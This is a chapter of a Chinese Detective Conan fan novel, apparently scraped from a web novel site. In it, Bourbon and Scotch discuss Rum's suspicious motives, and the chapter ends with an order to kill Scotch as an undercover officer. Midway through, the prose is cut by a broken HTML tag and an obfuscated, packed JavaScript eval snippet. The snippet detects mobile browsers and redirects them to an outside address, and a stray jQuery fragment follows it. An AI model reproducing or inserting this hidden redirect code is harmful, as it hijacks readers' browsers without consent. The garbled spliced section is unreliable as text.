24.第 24 章

作品:《[名柯]为我推的警校组献上心脏

    波本回到威士忌小组的安全屋时,正值黄昏。红色的夕阳悬在都市的天际线上,暖黄色的天空显得又灿烂又暗淡。


    波本踏着橙红色的日光走进公寓楼,楼道里的感应灯“嗡”的一声亮起来。


    无论结果如何,这次的事件,也算是画上了一个暂时的句号。


    情报组的波本威士忌,或者公安的降谷零,终于迎来了一个没有工作的短暂空闲。


    电梯的金属门无声地滑开又合拢。在电梯上升的轻微“哐当”声中,降谷看着电梯金属墙面上倒映出的、自己模糊扭曲的脸,不期然地想起,行动组最近好像工作不多。


    不知道苏格兰……不知道Hiro,今天在不在家呢?


    很快,降谷就知道了答案。这幢公寓的屋子老旧,密闭性并不太好。刚一走出电梯,他就闻见了隐约的、炖煮咖喱的香味。


    他的脚步不期然地轻松了些许。


    只不过推开屋门,第一眼看到的,却是那个烦人的莱伊。


    听到开门的动静,叼着香烟的黑发男人目光敏锐地投向门口,看见波本,于是向他点了点头。


    一句“我回来了”卡在喉咙口,又被波本吞进肚子里。波本嫌弃地皱了皱眉,开口:


    “你怎么在这里。”


    “这好像也是我住的地方?”


    “波本,你也回来了?”厨房里的苏格兰探出头来,打断了两个人的对话:“正好,我煮了咖喱,刚才还想说给你留一份。”


    莱伊非常积极地坐到餐桌边,目光扫过厨房的方向。波本不满地瞥了他一眼,走进厨房,将路上买的三明治塞进冰箱。


    这份三明治,本来是他为自己准备的晚餐。不过现在,明显有了个更好的选择。


    苏格兰一手端着一盘咖喱饭走出厨房。波本见此情况,也不理会自己手边的另一盘咖喱饭,而是快手快脚地从苏格兰手上拿走一份,然后先一步走出厨房,坐在莱伊对面。


    他的眼神里说:要吃就自己去拿,别指望有人给你送到手上。


    苏格兰也没说什么,只是在波本拿走盘子时,动作轻微地停顿了一下,似乎有些无奈。


    他坐在另一边,将手上的另一盘咖喱饭放到自己面前。


    莱伊懂了,把烟头在烟灰缸里按灭,站起身来去厨房拿走最后一盘咖喱饭。


    苏格兰的手艺依然无可挑剔,哪怕只是一盘简单的咖喱饭,也好像有什么特殊的美味。


    真是久违的味道,波本不快不慢地品尝晚餐。


    他看着莱伊风卷残云地吃光最后一粒米,把盘子放进洗碗池,一擦嘴就要出门。


    “吃完饭就这么走了?”波本看着莱伊翻出那条深灰色的围巾围在脖子上,有点不满。


    “食材是我买的,”莱伊回头看了一眼波本,转身又披上外套:“所以刷碗的事就归你了,波本。”


    苏格兰用勺子归拢盘子上的米饭,开口问道:“去约会吗,莱伊?晚上还回来吗?”


    “不回来了。”莱伊已经走到了屋门口,闻言回头对苏格兰笑了笑:“咖喱味道很棒,多谢了,苏格兰。”


    大门关上了。波本哼了一声,几口吃完剩余的咖喱饭,顺手又拿走苏格兰面前的空盘子,走进了厨房。


    苏格兰也跟着走进来,看见波本熟练地围上了围裙。在清澈的水流声中,他的声音也显得清澈而温和:“Zero,你的任务结束了吗?辛苦了,看来终于可以好好休息了。”


    “算是告一段落吧,”降谷挽起袖子,流畅的手臂肌肉显得精悍而有力:“只是,还有些问题,怎么也想不通。”


    诸伏靠在厨房的门边:“是什么问题呢?”


    “……只是觉得,有点不对劲。”降谷慢慢地说。他一边清洗盘子,一边整理自己的思路;三个盘子很快就洗干净了,他关上水龙头。


    屋子里一下子安静下来。降谷将盘子擦干,放进橱柜里。


    诸伏安静地走过来,将厨刀和案板擦拭干净,放回架子上。


    闪着寒光的刀刃被妥帖地收藏起来。


    “朗姆的表现,现在想想,其实有点不对劲。”


    降谷突兀地说了一句。诸伏侧脸看了他一眼,但他沉浸在自己的思路里,根本没有注意到。


    这次的交锋之中,朗姆口口声声表述着和琴酒相似的立场。哪怕是在自己的手下面前,他也没有表现出别的想法。


    看上去,他好像真的只是在对即将失控的情况表示反对。


    但是实际上,朗姆的心思总是深深藏在水下,像是一条潜伏在水中的鳄鱼。


    这条巨鳄的庞大身躯几乎全部都沉没在混沌不明的水下,水面上能够看到的,仅仅只有那双阴鸷的眼睛。


    直到现在,一切的风波都被“那位先生”用简洁而有力的手段一次性全部解决的情况下,降谷终于敏锐地从中发现了一丝违和感。


    实际上,朗姆虽然没能阻止宫野志保的留学计划,但是,“确保资产的可控性”本该才是朗姆的核心诉求。


    这个诉求,明面上是被充分满足了的。


    毕竟在琴酒的管控下,就算是朗姆,也不能否认这份“资产”的安全。


    降谷脱下围裙挂好,又回到了客厅长沙发的、自己常坐的位置上。


    此时夕阳已经彻底落到了地平线以下。诸伏打开了客厅的日光灯,看见那双紫灰色的眼睛,正露出思索的神色。


    降谷回忆着朗姆在这件事里吐露出来的信息。如果朗姆的真实目的确实是他表现出来的那样,那么这次的风波,他最多是丢失了一些面子、浪费了一些精力,却不能说是完全的失败。


    但朗姆气急败坏的样子,却好像是全盘皆输,毫无余地!


    降谷已经意识到,所谓“保护资产的可控性”,不过是个借口罢了。朗姆所反对的,其实就是“留学”这件事本身。


    那么排除所谓的资产安全之后,‘留学’这件事为什么会让朗姆如此反对呢?


    ……降谷下意识将手伸进口袋里,握住了那支在组织内使用的手机。


    这只手机曾经接收到朗姆发布的邮件任务,只是此时,这些邮件已经被彻底删除,不留一点痕迹。


    这些被删除的任务中,有几条非正式任务,要求情报组向研究所的相关人员散播流言。


    朗姆希望这些流言能让研究员们意识到,“那位先生”支持宫野志保的留学,其实是为了边缘化宫野一系。


    谣言如果想要让人相信,那么就一定不能是完全的编造,一定会包含一部分真实的信息。


    也许这一部分就是真实的信息。朗姆实际上不希望宫野家被边缘化?


    想到这里,降谷感到一阵荒谬,差点被这个猜测逗笑。


    难道朗姆和宫野家有什么情深义重的往事,甚至会像个宫野系研究员一样,为宫野家考虑吗?


    这当然是不可能的。


    那么他为什么不希望宫野一系被边缘化呢?</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015756|192341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    宫野一系,代表着什么呢?


    一声轻响,诸伏将一杯大麦茶放在降谷旁边的茶几上。


    他自己则拿着另一杯,浅尝了一口,眼睛随即满意地眯起。


    他没有坐下,而是站在降谷身前,低声说:


    “我有个情报,也许可以为你提供一点思路。琴酒大人说,这次的风波,其实是‘那位先生’对朗姆的试探。”


    “试探?”降谷突然发现,自己似乎忽略了“那位先生”在此事中的影响:


    “他想试探什么?是朗姆的忠诚?还是朗姆的……实力?”


    “我想,也许重点不在于他想试探什么。”诸伏的眼睛里闪过一丝锐利的光芒:


    “朗姆是组织中的老牌干部,据我所知,他掌控情报组的时间至少也有二十年以上。是什么让‘那位先生’突然开始怀疑他的忠诚或者实力,还要用牵连这么广的事情来进行试探?”


    这个问题像闪电划过黑夜,一瞬间般照亮了降谷的思路。他回忆着朗姆在邮件里的措辞,慢慢地说:


    “而朗姆……也并不像是因为‘被试探’这件事而感到愤怒。他更像是,‘被试探出了什么’。”


    “琴酒大人似乎也觉得,‘那位先生’对朗姆有所疑虑是很正常的一件事。”诸伏喝了口大麦茶,漂浮的水汽令他的眼神显得朦胧不清。


    降谷也拿起茶杯喝了一口,温热的茶水滋润了口中的干涩。他看着茶水在茶杯里的细碎反光:


    “也许……”


    说完一个词,降谷就停住了。他抬眼看了诸伏一眼。两个人对视着,都在对方眼里看到了相似的寒意。


    他们触及的,也许是组织中隐藏最深的根系里最危险的部分。


    从潜入组织到现在为止,已经三年有余。他们对于“那位先生”的信息都几乎是一无所知。但现在,似乎已经能够抓住一点影子了。


    半晌,诸伏首先移开了视线。他眼神中那种锐利的光彩一下子消失了,又恢复了往日里平静温和的模样。


    他放下手中的茶杯,说:“这些只是一些猜测罢了。”


    诸伏的语气轻松,好像刚才只是一场轻松愉快的闲聊:“明天一早,我还有个任务。我先去洗澡,你也早点休息。”


    降谷一口喝掉了剩余的茶水。他说:“好的,你也早点睡。”


    诸伏走进浴室,淅沥沥的水声随之响起。


    降谷独自坐在沙发上。各种线索纷纷扰扰,在他的脑中汇集成一片嘈杂的噪音。


    夜色悄然流逝。等日光再次照亮安全屋的窗帘时,已经又是新的一天。


    卧室里的床铺上,一团被子动了动,接着一只浅褐肤色的手臂伸了出来,抓起床头的手机看看时间。


    已经是上午9点。


    波本抓抓头发,决定起床。朦胧间,他似乎曾听到安全屋的大门关闭的声音,也不知道是莱伊从外面回来,还是苏格兰外出去做任务。


    难得无事,也许今天可以去看看有没有什么新的情报。


    这时候,被丢在床头柜上的手机突然开始震动,打断了波本的思考。


    他皱眉拿出手机,看了一眼新邮件。


    他的脸色倏然变了。不过是短短的几行字,波本感到自己全身的血液似乎都在瞬间被冻结。


    邮件来自于朗姆:


    “紧急:行动组代号成员‘苏格兰威士忌’,确认为警方卧底。所有单位,如发现目标,无需请示,就地格杀。”